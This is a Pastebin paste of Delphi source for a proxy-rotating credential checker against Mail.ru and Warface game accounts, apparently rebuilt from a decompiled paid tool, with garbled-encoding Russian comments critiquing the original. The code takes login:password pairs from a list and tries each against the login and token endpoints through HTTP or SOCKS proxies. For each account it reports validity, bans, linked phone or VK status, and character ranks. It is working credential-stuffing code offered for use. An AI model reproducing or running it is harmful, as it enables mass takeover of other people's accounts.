Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- type
- FThread = class(TThread)
- public
- constructor Create;
- destructor Destroy; override;
- private
- HTTP: THTTPSend;
- Data: TStringStream;
- Response: TStringList;
- Rez, WorkType, ProxyType, Timeaut: Integer;
- CurrentLineAcc, CurrentLinePrx, Login, NLogin, Password, IP, Port: string;
- SMS, VK, Token, Ban, PersId, CheckTemp, AlphaNick, AlphaRang, BravoNick, BravoRang, CharlyNick, CharlyRang: string;
- protected
- procedure Execute; override;
- procedure IncWorkedThreads; // Sub_0077112C
- procedure DecWorkedThreads; // Sub_00771134
- function GetListAcc: Boolean; // Sub_0076E3B4
- function GetListPrx: Boolean; // Sub_0076E584
- procedure GetTypePrx(IP, Port: string); // Sub_0076E6C0
- procedure HTTPWork; // Sub_0076E840
- procedure SyncLocal; // Sub_00771358
- procedure EndWork; // Sub_0076E288
- end;
- implementation
- function Pars(T_, ForS, _T: string): string;
- var
- a, b: Integer;
- begin
- Result := '';
- if (T_ = '') or (ForS = '') or (_T = '') then
- Exit;
- a := Pos(T_, ForS);
- if a = 0 then
- Exit
- else
- a := a + Length(T_);
- ForS := Copy(ForS, a, Length(ForS) - a + 1);
- b := Pos(_T, ForS);
- if b > 0 then
- Result := Copy(ForS, 1, b - 1);
- end;
- procedure AppendStringToFile(FileName: string; Data: string);
- var
- txtFile: TextFile;
- begin
- if not FileExists(strDirectory + FileName) then
- begin
- AssignFile(txtFile, strDirectory + FileName);
- ReWrite(txtFile);
- WriteLn(txtFile, Data);
- CloseFile(txtFile);
- end
- else
- begin
- AssignFile(txtFile, strDirectory + FileName);
- Append(txtFile);
- WriteLn(txtFile, Data);
- CloseFile(txtFile);
- end;
- end;
- //==============================================================================
- // FThread c0d3
- //==============================================================================
- constructor FThread.Create;
- begin
- inherited Create(True);
- FreeOnTerminate:= True;
- Response:= TStringList.Create;
- WorkType:= Form1.sComboBox1.ItemIndex;
- ProxyType:= Form1.sComboBox2.ItemIndex;
- HTTP:= THTTPSend.Create;
- Data:= TStringStream.Create;
- Timeaut:= Form1.TimeOutSpinEdit.Value;
- end;
- destructor FThread.Destroy;
- begin
- HTTP.Free;
- Data.Free;
- Response.Free;
- inherited;
- end;
- procedure FThread.IncWorkedThreads; begin Inc(ThreadsCount); end;
- procedure FThread.DecWorkedThreads; begin Dec(ThreadsCount); end;
- function FThread.GetListAcc;
- begin
- if AccountsList.Count > 0 then
- begin
- EnterCriticalSection(CriticalSectionAccs);
- try
- CurrentLineAcc:= AccountsList[0];
- CurrentLineAcc:= StringReplace(CurrentLineAcc, ';', ':', [rfReplaceAll, rfIgnoreCase]);
- Login:= Copy(CurrentLineAcc, 1, Pos(':', CurrentLineAcc) - 1);
- if Pos('@', CurrentLineAcc) <> 0 then
- begin
- NLogin:= Copy(CurrentLineAcc, 1, Pos('@', CurrentLineAcc) - 1);
- end
- else
- begin
- NLogin:= Copy(CurrentLineAcc, 1, Pos(':', CurrentLineAcc) - 1);
- end;
- Password:= Copy(CurrentLineAcc, Pos(':', CurrentLineAcc) + 1, Length(CurrentLineAcc));
- AccountsList.Delete(0);
- finally
- LeaveCriticalSection(CriticalSectionAccs);
- end;
- Result:= True;
- end
- else
- begin
- Result:= False;
- end;
- end;
- function FThread.GetListPrx;
- begin
- if ProxyList.Count > 0 then
- begin
- EnterCriticalSection(CriticalSectionProxy);
- try
- if ProxyIndex >= ProxyList.Count then ProxyIndex:= 0;
- CurrentLinePrx:= ProxyList[ProxyIndex];
- Inc(ProxyIndex);
- IP:= Copy(CurrentLinePrx, 1, Pos(':', CurrentLinePrx) - 1);
- Port:= Copy(CurrentLinePrx, Pos(':', CurrentLinePrx) + 1, Length(CurrentLinePrx));
- GetTypePrx(IP, Port);
- finally
- LeaveCriticalSection(CriticalSectionProxy);
- end;
- Result:= True;
- end
- else
- begin
- Result:= False;
- end;
- end;
- procedure FThread.GetTypePrx(IP: string; Port: string);
- begin
- case ProxyType of
- 0: // HTTP/S
- begin
- HTTP.ProxyHost:= IP;
- HTTP.ProxyPort:= Port;
- HTTP.Timeout:= Timeaut;
- end;
- 1: // SOCKS4
- begin
- HTTP.Sock.SocksIP:= IP;
- HTTP.Sock.SocksPort:= Port;
- HTTP.Sock.SetTimeout(Timeaut);
- HTTP.Sock.SocksTimeout:= Timeaut;
- HTTP.Sock.SocksResolver:= True;
- HTTP.Sock.SocksType:= ST_Socks4;
- end;
- 2: // SOCKS5
- begin
- HTTP.Sock.SocksIP:= IP;
- HTTP.Sock.SocksPort:= Port;
- HTTP.Sock.SetTimeout(Timeaut);
- HTTP.Sock.SocksTimeout:= Timeaut;
- HTTP.Sock.SocksResolver:= True;
- HTTP.Sock.SocksType:= ST_Socks5;
- end;
- end;
- end;
- procedure FThread.Execute;
- begin
- while (AccountsList.Count > 0) and (Terminated = False) do
- begin
- Synchronize(IncWorkedThreads);
- GetListAcc;
- HTTP.AddPortNumberToHost:= False;
- HTTPWork;
- Synchronize(SyncLocal);
- Synchronize(DecWorkedThreads);
- if ThreadsCount = 0 then
- begin
- Synchronize(EndWork);
- end;
- end;
- end;
- procedure FThread.HTTPWork;
- begin
- HTTP.Headers.Clear;
- HTTP.Document.Clear;
- HTTP.Cookies.Clear;
- Data.Clear;
- Response.Clear;
- HTTP.Sock.CloseSocket;
- if ProxyType < 3 then
- begin
- GetListPrx; // HTTP/S or SOCKS4 or SOCKS5 or Debug Mode
- end;
- //==============================================================================
- // Ìîæåò áûòü ÿ ïîåõàëà êðûøåé íî ÿ ðåàëüíî âèæó â êîäå òàêîé ôîðìàò
- // ; mov ebx,dword ptr [eax+148A0] - Îáðàùåíèå ê îáúåêòó FThread.HTTP (THTTPSend)
- // ; mov dword ptr [ebx+10], 249F0 - Ïîìåùåíèå â àäðåñ ebx+10 16 ðè÷íîãî ÷èñëà 249F0
- // Åñëè äîñëîâíî â ebx ïîìåñòèëè FThread.HTTP è îáðàòèëèñü ê FThread.HTTP.Timeout
- // Îáðàùåíèå ïðîâîäèëîñü ÷åðåç [ebx+10], íî çíà÷åíèå 249F0 íå èçìåíÿåòñÿ è ýòî
- // êîíñòàíòà â êîäå ïðîãðàììû. Åñëè ïåðåâåñòè â 10 ðè÷íóþ òî âûéäåò 150000
- // Òàê ÷òî íèêàêèõ âîïðîñîâ êî ìíå ïî÷åìó ÿ ïèøó âåçäå HTTP.Timeout:= 150000; ÷òî
- // âèæó â êîäå äàííîé ïðîãðàììû òî è ïèøó, âîïðîñ íàõðåíà òîãäà ïåðåìåííàÿ
- // FThread.Timeaut è âîîáùå ïîëå äëÿ ââîäà çàäåðæêè ìåæäó çàïðîñàìè? Íó îê.
- // Ñïàñèáî çà âíèìàíèå, ñ óâàæåíèåì [PC-RET] Yulya
- //==============================================================================
- case WorkType of
- 0: // WarFace Site | Mail only
- begin
- HTTP.Timeout:= 150000;
- HTTP.Protocol:= '1.1';
- HTTP.AddPortNumberToHost:= False;
- HTTP.Headers.Add('Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8');
- HTTP.Headers.Add('Origin: https://wf.mail.ru');
- HTTP.Headers.Add('Upgrade-Insecure-Requests: 1');
- HTTP.MimeType:= 'application/x-www-form-urlencoded';
- HTTP.Headers.Add('DNT: 1');
- HTTP.UserAgent:= 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Maxthon/5.0.2.1000 Chrome/47.0.2526.73 Safari/537.36';
- Data.WriteString('Page=https%3A%2F%2Fwf.mail.ru%2F&FakeAuthPage=https%3A%2F%2Fwf.mail.ru%2Fauth&Login=' +
- Login + '&Domain=mail.ru&Password=' + Password + '&saveauth=0');
- HTTP.Document.LoadFromStream(Data);
- //==============================================================================
- // Ìîæåò ÿ è íå ïðàâà íî çíà÷åíèå òóò ðàçâå ñòàòè÷íîå "&Domain=mail.ru" èëè âñå òàêè äîëæíî ìåíÿòüñÿ?
- // Õîòÿ ó÷èòûâàÿ êîä ÿ ïèøó òàê êàê âèæó â ôàéëå ïðîãðàììû à ó íèõ ñòàòè÷åñêîå "&Domain=mail.ru"...
- // Ñïàñèáî çà âíèìàíèå, ñ óâàæåíèåì [PC-RET] Yulya
- //==============================================================================
- try
- HTTP.HTTPMethod('POST', 'https://auth.mail.ru/cgi-bin/auth');
- finally
- if Pos('Location: https://wf.mail.ru/auth?mailrutoken=', HTTP.Headers.Text) <> 0 then
- begin
- Rez:= 2;
- end
- else
- begin
- if Pos('Location: https://e.mail.ru/cgi-bin/passremind?type=mrim', HTTP.Headers.Text) <> 0 then
- begin
- Rez:= 3;
- end
- else
- begin
- if Pos('Location: /validate/index.html?ref_url=wf.mail.ru', HTTP.Headers.Text) <> 0 then
- begin
- Rez:= 0;
- end
- else
- begin
- if Pos('Location: https://wf.mail.ru/', HTTP.Headers.Text) <> 0 then
- begin
- HTTP.Headers.Clear;
- HTTP.Document.Clear;
- HTTP.Timeout:= 150000;
- HTTP.Protocol:= '1.1';
- HTTP.AddPortNumberToHost:= False;
- HTTP.Headers.Add('Accept: text/html, */*; q=0.01');
- HTTP.Headers.Add('X-Requested-With: XMLHttpRequest');
- HTTP.UserAgent:= 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.152 Safari/537.22';
- HTTP.MimeType:= 'application/x-www-form-urlencoded';
- HTTP.Headers.Add('DNT: 1');
- if HTTP.HTTPMethod('GET', 'https://wf.mail.ru/dynamic/sms/') then
- begin
- Response.LoadFromStream(HTTP.Document);
- if Pos('{"redirect":"/validate/index.html?ref_url=wf.mail.ru"}', Response.Text) <> 0 then
- begin
- Rez:= 0;
- end
- else
- begin
- if Pos('<span class="number">', Response.Text) <> 0 then
- begin
- SMS:= ' Ïðèâÿçàí!';
- end
- else
- begin
- SMS:= ' Íå ïðèâÿçàí!';
- end;
- end;
- end
- else
- begin
- Rez:= 0;
- end;
- HTTP.Headers.Clear;
- HTTP.Document.Clear;
- HTTP.Timeout:= 150000;
- HTTP.Protocol:= '1.1';
- HTTP.AddPortNumberToHost:= False;
- HTTP.Headers.Add('Accept: text/html, */*; q=0.01');
- HTTP.Headers.Add('X-Requested-With: XMLHttpRequest');
- HTTP.UserAgent:= 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.152 Safari/537.22';
- HTTP.MimeType:= 'application/x-www-form-urlencoded';
- HTTP.Headers.Add('DNT: 1');
- if HTTP.HTTPMethod('GET', 'https://wf.mail.ru/dynamic/user/?a=socialaccounts') then
- begin
- Response.LoadFromStream(HTTP.Document);
- if Pos('{"redirect":"/validate/index.html?ref_url=wf.mail.ru"}', Response.Text) <> 0 then
- begin
- Rez:= 0;
- end
- else
- begin
- if (Pos('<div class="social_name">', Response.Text) <> 0) or
- (Pos('<a class="btn btn_profile js-vk_unbind" href="/dynamic/user/?a=socialaccounts_vk_unbind" >',
- Response.Text) <> 0) then
- begin
- VK:= ' Ïðèâÿçàí!';
- end
- else
- begin
- VK:= ' Íå ïðèâÿçàí!';
- end;
- end;
- end
- else
- begin
- Rez:= 0;
- end;
- HTTP.Headers.Clear;
- HTTP.Document.Clear;
- HTTP.Protocol:= '1.1';
- HTTP.AddPortNumberToHost:= False;
- HTTP.Headers.Add('X-Requested-With: XMLHttpRequest');
- HTTP.Headers.Add('Accept: application/json, text/javascript, */*; q=0.01');
- HTTP.MimeType:= 'application/x-www-form-urlencoded';
- HTTP.Headers.Add('DNT: 1');
- HTTP.UserAgent:= 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Maxthon/5.0.2.1000 Chrome/47.0.2526.73 Safari/537.36';
- if HTTP.HTTPMethod('GET', 'https://wf.mail.ru/dynamic/user/check_data.php?do=auth') then
- begin
- if HTTP.ResultCode = 200 then
- begin
- Response.LoadFromStream(HTTP.Document);
- if (Pos('{"redirect":"/Rezate/index.html?ref_url=wf.mail.ru"}', Response.Text) <> 0) or
- (Pos('{"redirect":"/validate/index.html?ref_url=wf.mail.ru"}', Response.Text) <> 0) then
- begin
- Rez:= 0;
- end
- else
- begin
- if Pos('{"username":null,"csaid":null,"', Response.Text) <> 0 then
- begin
- Rez:= 2;
- end
- else
- begin
- PersId:= Pars('","csaid":"', Response.Text, '","');
- if PersId <> '' then
- begin
- //==============================================================================
- // Äàííûé ó÷àñòîê êîäà ïðèøëîñü ïåðåïèñàòü îò ðóêè, ñîáëþäàëà ñèíòàêñèñ îðèãèíàëà
- // ïðèíèìàéòå êàê åñòü, ïàëêàìè íå áèòü...
- // Ñïàñèáî çà âíèìàíèå, ñ óâàæåíèåì [PC-RET] Yulya
- //==============================================================================
- HTTP.Headers.Clear;
- HTTP.Document.Clear;
- HTTP.Cookies.Clear;
- HTTP.Protocol:= '1.1';
- HTTP.Headers.Add('Origin: http://cdn.warface.ru');
- HTTP.Headers.Add('Accept-Language: en-us,en');
- HTTP.Headers.Add('Accept-Charset: iso-8859-1,*,utf-8');
- HTTP.UserAgent:= 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.152 Safari/537.22';
- HTTP.MimeType:= 'application/x-www-form-urlencoded';
- if HTTP.HTTPMethod('GET',
- 'https://wf.mail.ru/dynamic/top/?a=get_ladder_info_gamecenter&server=1&category=1&userid=' + PersId) then
- begin
- if HTTP.ResultCode = 200 then
- begin
- Response.LoadFromStream(HTTP.Document);
- Response.Text:= Utf8ToAnsi(Response.Text);
- if Pos('<li class="selected">', Response.Text) <> 0 then
- begin
- CheckTemp:= Pars('<li class="selected">', Response.Text, '</li>');
- AlphaNick:= Pars('<div class="nickname">', CheckTemp, '</div>');
- AlphaRang:= Pars('<div class="rank_icon icon_rank_', CheckTemp, '">');
- end
- else
- begin
- AlphaNick:= 'Character not created';
- AlphaRang:= '0';
- end;
- end;
- end
- else
- begin
- Rez:= 0;
- end;
- HTTP.Headers.Clear;
- HTTP.Document.Clear;
- HTTP.Cookies.Clear;
- HTTP.Protocol:= '1.1';
- HTTP.Headers.Add('Origin: http://cdn.warface.ru');
- HTTP.Headers.Add('Accept-Language: en-us,en');
- HTTP.Headers.Add('Accept-Charset: iso-8859-1,*,utf-8');
- HTTP.UserAgent:= 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.152 Safari/537.22';
- HTTP.MimeType:= 'application/x-www-form-urlencoded';
- if HTTP.HTTPMethod('GET',
- 'https://wf.mail.ru/dynamic/top/?a=get_ladder_info_gamecenter&server=2&category=1&userid=' + PersId) then
- begin
- if HTTP.ResultCode = 200 then
- begin
- Response.LoadFromStream(HTTP.Document);
- Response.Text:= Utf8ToAnsi(Response.Text);
- if Pos('<li class="selected">', Response.Text) <> 0 then
- begin
- CheckTemp:= Pars('<li class="selected">', Response.Text, '</li>');
- BravoNick:= Pars('<div class="nickname">', CheckTemp, '</div>');
- BravoRang:= Pars('<div class="rank_icon icon_rank_', CheckTemp, '">');
- end
- else
- begin
- BravoNick:= 'Character not created';
- BravoRang:= '0';
- end;
- end;
- end
- else
- begin
- Rez:= 0;
- end;
- HTTP.Headers.Clear;
- HTTP.Document.Clear;
- HTTP.Cookies.Clear;
- HTTP.Protocol:= '1.1';
- HTTP.Headers.Add('Origin: http://cdn.warface.ru');
- HTTP.Headers.Add('Accept-Language: en-us,en');
- HTTP.Headers.Add('Accept-Charset: iso-8859-1,*,utf-8');
- HTTP.UserAgent:= 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.152 Safari/537.22';
- HTTP.MimeType:= 'application/x-www-form-urlencoded';
- if HTTP.HTTPMethod('GET',
- 'https://wf.mail.ru/dynamic/top/?a=get_ladder_info_gamecenter&server=3&category=1&userid=' + PersId) then
- begin
- if HTTP.ResultCode = 200 then
- begin
- Response.LoadFromStream(HTTP.Document);
- Response.Text:= Utf8ToAnsi(Response.Text);
- if Pos('<li class="selected">', Response.Text) <> 0 then
- begin
- CheckTemp:= Pars('<li class="selected">', Response.Text, '</li>');
- CharlyNick:= Pars('<div class="nickname">', CheckTemp, '</div>');
- CharlyRang:= Pars('<div class="rank_icon icon_rank_', CheckTemp, '">');
- end
- else
- begin
- CharlyNick:= 'Character not created';
- CharlyRang:= '0';
- end;
- end;
- end
- else
- begin
- Rez:= 0;
- end;
- Rez:= 1;
- end
- else
- begin
- Rez:= 2;
- end;
- end;
- end;
- end
- else
- begin
- Rez:= 0;
- end;
- end
- else
- begin
- Rez:= 0;
- end;
- end
- else
- begin
- Rez:= 2;
- end;
- end;
- end;
- end;
- if Rez = 0 then
- begin
- Synchronize(SyncLocal);
- HTTPWork;
- end;
- end;
- end;
- 1: // WarFace API | All Domain
- begin
- HTTP.Headers.Clear;
- HTTP.Document.Clear;
- HTTP.AddPortNumberToHost:= False;
- HTTP.Protocol:= '1.1';
- HTTP.Headers.Insert(0, 'Accept: */*');
- HTTP.UserAgent:= 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.110 Downloader/12480 MailRuGameCenter/1248 Safari/537.36';
- HTTP.MimeType:= 'application/x-www-form-urlencoded';
- //==============================================================================
- // Îáðàùàþ âàøå âíèìàíèå, ÷òî ðàíåå èñïîëüçîâàëîñü HTTP.Headers.Add, íî ñåé÷àñ
- // äåéñòâèòåëüíî â êîäå ïðîïèñûâàåòñÿ HTTP.Headers.Insert = âîïïðîñ íàõðåíà?
- // ß ïèøó ñòðîãî òî ÷òî âèæó à èìåííî ; xor edx, edx è call dword ptr [ebx+64]
- // ÷òî â ïåðåâîäå íà íîðìàëüíûé ÿçûê îçíà÷àåò âûçîâ ôóíêöèè HTTP.Headers.Insert
- // ñ ïàðàìåòðîì 0 è ñòðîêîé òàê: HTTP.Headers.Insert(0, '') òàê ÷òî ÿ õ3 ïî÷åìó òàê
- // Ñïàñèáî çà âíèìàíèå, ñ óâàæåíèåì [PC-RET] Yulya
- //==============================================================================
- Data.WriteString('client_id=gamecenter.mail.ru&grant_type=password&username=' + Login +
- '&password=' + Password);
- HTTP.Document.LoadFromStream(Data);
- //==============================================================================
- // Âîó âîó ïîëåã÷å, âû ñîáèðàåòåñü Mail, Yandex, Rambler, Qip, Zabugor ïèõàòü â
- // àâòîðèçàöèþ ïî gamecenter êëèåíòó? Àõàõàõàõàõàõàõ... Îðó, íå ìîãó îñòàíîâèòüñÿ.
- // Ïðîñòî ïîëíûé òðåø!!! Â ìîåì ïàáëèê ñîôòå è òî ðàçäåëåíèå àâòîðèçàöèè èäåò äëÿ
- // Mail ýòî gamecenter, à äëÿ Yandex, Rambler, Qip, Zabugor àëüòåðíàòèâíûé êëèåíò.
- // Ó Amfi, Minaev â êà÷åñòâåííûõ ñîôòàõ èäåò òàêæå ðàçäåëåíèå àâòîðèçàöèè, äåëàéòå
- // âûâîäû äàííûé ñîôò ñòîèë 500 ðóáëåé êîïèÿ, êîãäà òîò æå Minaev ñòîèò 500 ðóáëåé.
- // Ñïàñèáî çà âíèìàíèå, ñ óâàæåíèåì [PC-RET] Yulya
- //==============================================================================
- if HTTP.HTTPMethod('POST', 'https://o2.mail.ru/token') then
- begin
- if HTTP.ResultCode = 500 then
- begin
- Rez:= 0;
- end
- else
- begin
- Response.LoadFromStream(HTTP.Document);
- if Pos('"refresh_token":"', Response.Text) <> 0 then
- begin
- Token:= Pars('access_token":"', Response.Text, '"}');
- HTTP.Headers.Clear;
- HTTP.Document.Clear;
- HTTP.Cookies.Clear;
- Data.Clear;
- Response.Clear;
- HTTP.Protocol:= '1.1';
- HTTP.Headers.Insert(0, 'Accept: */*');
- HTTP.UserAgent:= 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.110 Downloader/12480 MailRuGameCenter/1248 Safari/537.36';
- HTTP.MimeType:= 'application/x-www-form-urlencoded';
- Data.WriteString('<?xml version="1.0" encoding="UTF-8"?><MrPage2 SessionKey="' + Token +
- '" Page="http://dl.mail.ru/robots.txt"/>');
- HTTP.Document.LoadFromStream(Data);
- if HTTP.HTTPMethod('POST', 'https://authdl.mail.ru/ec.php?hint=MrPage2') then
- begin
- if HTTP.ResultCode = 200 then
- begin
- Response.LoadFromStream(HTTP.Document);
- Token:= Pars('agent=', Response.Text, 'amp;page');
- HTTP.Headers.Clear;
- HTTP.Document.Clear;
- HTTP.Cookies.Clear;
- Data.Clear;
- Response.Clear;
- HTTP.Protocol:= '1.1';
- HTTP.Headers.Insert(0, 'Accept: */*');
- HTTP.UserAgent:= 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.110 Downloader/12480 MailRuGameCenter/1248 Safari/537.36';
- HTTP.MimeType:= 'application/x-www-form-urlencoded';
- if HTTP.HTTPMethod('GET', 'https://auth.mail.ru/cgi-bin/auth?Login=' + Login +
- '&agent=' + Token + '&page=http://dl.mail.ru/robots.txt') then
- begin
- if Pos('Set-Cookie: Mpop=', HTTP.Headers.Text) <> 0 then
- begin
- Token:= Pars('Set-Cookie: Mpop=', HTTP.Headers.Text, '; expires=');
- HTTP.Headers.Clear;
- HTTP.Document.Clear;
- HTTP.Cookies.Clear;
- Data.Clear;
- Response.Clear;
- HTTP.Protocol:= '1.1';
- HTTP.Headers.Insert(0, 'Accept: */*');
- HTTP.UserAgent:= 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.110 Downloader/12480 MailRuGameCenter/1248 Safari/537.36';
- HTTP.MimeType:= 'application/x-www-form-urlencoded';
- Data.WriteString('<?xml version="1.0" encoding="UTF-8"?><AutoLogin ProjectId="1177' +
- 'SubProjectId="0" ShardId="1" UserId="12982491613785108002" UserId2="12982491613785108002" Mpop="' +
- Token + '"/>');
- HTTP.Document.LoadFromStream(Data);
- if HTTP.HTTPMethod('POST', 'http://authdl.mail.ru/sz.php?hint=AutoLogin') then
- begin
- Response.LoadFromStream(HTTP.Document);
- if Pos('" SupportUrl="https://wf.cdn.gmru.net/static/wf.mail.ru/gamecenter/accblock/', Response.Text) <> 0 then
- begin
- Ban:= 'Åñòü';
- end
- else
- begin
- Ban:= 'Íåò';
- PersId:= Pars('<AutoLogin PersId="', Response.Text, '"');
- if PersId <> '' then
- begin
- //==============================================================================
- // Äàííûé ó÷àñòîê êîäà ïðèøëîñü ïåðåïèñàòü îò ðóêè, ñîáëþäàëà ñèíòàêñèñ îðèãèíàëà
- // ïðèíèìàéòå êàê åñòü, ïàëêàìè íå áèòü...
- // Ñïàñèáî çà âíèìàíèå, ñ óâàæåíèåì [PC-RET] Yulya
- //==============================================================================
- HTTP.Headers.Clear;
- HTTP.Document.Clear;
- HTTP.Cookies.Clear;
- HTTP.Protocol:= '1.1';
- HTTP.Headers.Add('Origin: http://cdn.warface.ru');
- HTTP.Headers.Add('Accept-Language: en-us,en');
- HTTP.Headers.Add('Accept-Charset: iso-8859-1,*,utf-8');
- HTTP.UserAgent:= 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.152 Safari/537.22';
- HTTP.MimeType:= 'application/x-www-form-urlencoded';
- if HTTP.HTTPMethod('GET',
- 'https://wf.mail.ru/dynamic/top/?a=get_ladder_info_gamecenter&server=1&category=1&userid=' + PersId) then
- begin
- if HTTP.ResultCode = 200 then
- begin
- Response.LoadFromStream(HTTP.Document);
- Response.Text:= Utf8ToAnsi(Response.Text);
- if Pos('<li class="selected">', Response.Text) <> 0 then
- begin
- CheckTemp:= Pars('<li class="selected">', Response.Text, '</li>');
- AlphaNick:= Pars('<div class="nickname">', CheckTemp, '</div>');
- AlphaRang:= Pars('<div class="rank_icon icon_rank_', CheckTemp, '">');
- end
- else
- begin
- AlphaNick:= 'Character not created';
- AlphaRang:= '0';
- end;
- end;
- end
- else
- begin
- Rez:= 0;
- end;
- HTTP.Headers.Clear;
- HTTP.Document.Clear;
- HTTP.Cookies.Clear;
- HTTP.Protocol:= '1.1';
- HTTP.Headers.Add('Origin: http://cdn.warface.ru');
- HTTP.Headers.Add('Accept-Language: en-us,en');
- HTTP.Headers.Add('Accept-Charset: iso-8859-1,*,utf-8');
- HTTP.UserAgent:= 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.152 Safari/537.22';
- HTTP.MimeType:= 'application/x-www-form-urlencoded';
- if HTTP.HTTPMethod('GET',
- 'https://wf.mail.ru/dynamic/top/?a=get_ladder_info_gamecenter&server=2&category=1&userid=' + PersId) then
- begin
- if HTTP.ResultCode = 200 then
- begin
- Response.LoadFromStream(HTTP.Document);
- Response.Text:= Utf8ToAnsi(Response.Text);
- if Pos('<li class="selected">', Response.Text) <> 0 then
- begin
- CheckTemp:= Pars('<li class="selected">', Response.Text, '</li>');
- BravoNick:= Pars('<div class="nickname">', CheckTemp, '</div>');
- BravoRang:= Pars('<div class="rank_icon icon_rank_', CheckTemp, '">');
- end
- else
- begin
- BravoNick:= 'Character not created';
- BravoRang:= '0';
- end;
- end;
- end
- else
- begin
- Rez:= 0;
- end;
- HTTP.Headers.Clear;
- HTTP.Document.Clear;
- HTTP.Cookies.Clear;
- HTTP.Protocol:= '1.1';
- HTTP.Headers.Add('Origin: http://cdn.warface.ru');
- HTTP.Headers.Add('Accept-Language: en-us,en');
- HTTP.Headers.Add('Accept-Charset: iso-8859-1,*,utf-8');
- HTTP.UserAgent:= 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.152 Safari/537.22';
- HTTP.MimeType:= 'application/x-www-form-urlencoded';
- if HTTP.HTTPMethod('GET',
- 'https://wf.mail.ru/dynamic/top/?a=get_ladder_info_gamecenter&server=3&category=1&userid=' + PersId) then
- begin
- if HTTP.ResultCode = 200 then
- begin
- Response.LoadFromStream(HTTP.Document);
- Response.Text:= Utf8ToAnsi(Response.Text);
- if Pos('<li class="selected">', Response.Text) <> 0 then
- begin
- CheckTemp:= Pars('<li class="selected">', Response.Text, '</li>');
- CharlyNick:= Pars('<div class="nickname">', CheckTemp, '</div>');
- CharlyRang:= Pars('<div class="rank_icon icon_rank_', CheckTemp, '">');
- end
- else
- begin
- CharlyNick:= 'Character not created';
- CharlyRang:= '0';
- end;
- end;
- end
- else
- begin
- Rez:= 0;
- end;
- end;
- end;
- Rez:= 1;
- end
- else
- begin
- Rez:= 0;
- end;
- end
- else
- begin
- Rez:= 0;
- end;
- end
- else
- begin
- Rez:= 0;
- end;
- end
- else
- begin
- Rez:= 0;
- end;
- end
- else
- begin
- Rez:= 0;
- end;
- end
- else
- begin
- Rez:= 2;
- end;
- end;
- end
- else
- begin
- Rez:= 0;
- end;
- if Rez = 0 then
- begin
- Synchronize(SyncLocal);
- HTTPWork;
- end;
- end;
- end;
- end;
- procedure FThread.SyncLocal;
- var
- ListItem: TListItem;
- begin
- //==============================================================================
- // Ñèñòåìà ñîõðàíåíèÿ îñòàòêà ýëåìåíòàðíî óäàëÿåò èíäåêñ ïðè ãóäå / áåäå / áàíå
- // òàêèì ñïîñîáîì RemainsList.Delete(0); ýòî ïîëíûé áðåä. Ó÷èòûâàÿ ÷òî ó íèõ îí
- // áûë 2 ðàçà âíóòðè case 0 è case 1 ðåæèìîâ ðàáîòû ñîôòà, ÿ âûíåñëà çà áëîê case
- // äàáû íå ïèñàòü ýòó òóïóþ ñòðî÷êó RemainsList.Delete(0); äâàæäû.
- // Ïî÷åìó îíà òóïàÿ, îáúÿñíÿòü äóìàþ íå íóæíî, ó÷èòûâàÿ ñòðóêòóðó ïîòîêîâ íèêòî íå
- // çàùèùåí îò çàäåðæêè â õîäå ðàáîòû è â èòîãå ïîòîê ñ àêêàóíòîì 5 óäàëèò èç ëèñòà
- // àêêàóíò 4 è òàê äàëåå. Íó ó÷èòûâàÿ ÷òî ó íèõ èäåò Accounts.Delete(0); ëåã÷å áûëî
- // ïðîñòî ñîõðàíÿòü ýòîò Accounts ÷åì ñîçäàâàòü êëîí ëèñò ÷òî ñêàæåòñÿ íà áîëüøèõ
- // áàçàõ âåäü áàçà áóäåò çàãðóæåíà â ïàìÿòü äâàæäû, þçàÿ äàííûé ñîðåö çàäóìàéòåñü
- // íàä ìîèìè ñëîâàìè è ïîïðàâüòå ñîõðàíåíèå îñòàòêà óáðàâ ëèñò Remains è ïîñòàâèâ
- // ñèñòåìó ñîõðàíåíèÿ íà Accounts è äà òàéìåð ñ èíòåðâàëîì 1000 = 1 ñåê äëÿ ñîõðàíå
- // íèÿ îñòàòêà - ýòî ïèçäåö. Íàãðóçêà ïðè çàãðóçêå áàçû â 300 ìá â èõ ñîôò...
- // 300 Ìá â äâà ëèñòà = 600 ìá è êàæäóþ ñåê ïåðåñîõðàíåíèå 300 ìá íà HDD... :D
- // Ñïàñèáî çà âíèìàíèå, ñ óâàæåíèåì [PC-RET] Yulya
- //==============================================================================
- EnterCriticalSection(CriticalSectionSync);
- case Rez of
- 0: // Error
- begin
- Form1.ErrorLabel.Caption:= IntToStr(StrToInt(Form1.ErrorLabel.Caption) + 1);
- end;
- 1: // Good
- begin
- Form1.sGauge1.Progress:= Form1.sGauge1.Progress + 1;
- Form1.sLabel6.Caption:= IntToStr(StrToInt(Form1.sLabel6.Caption) + 1);
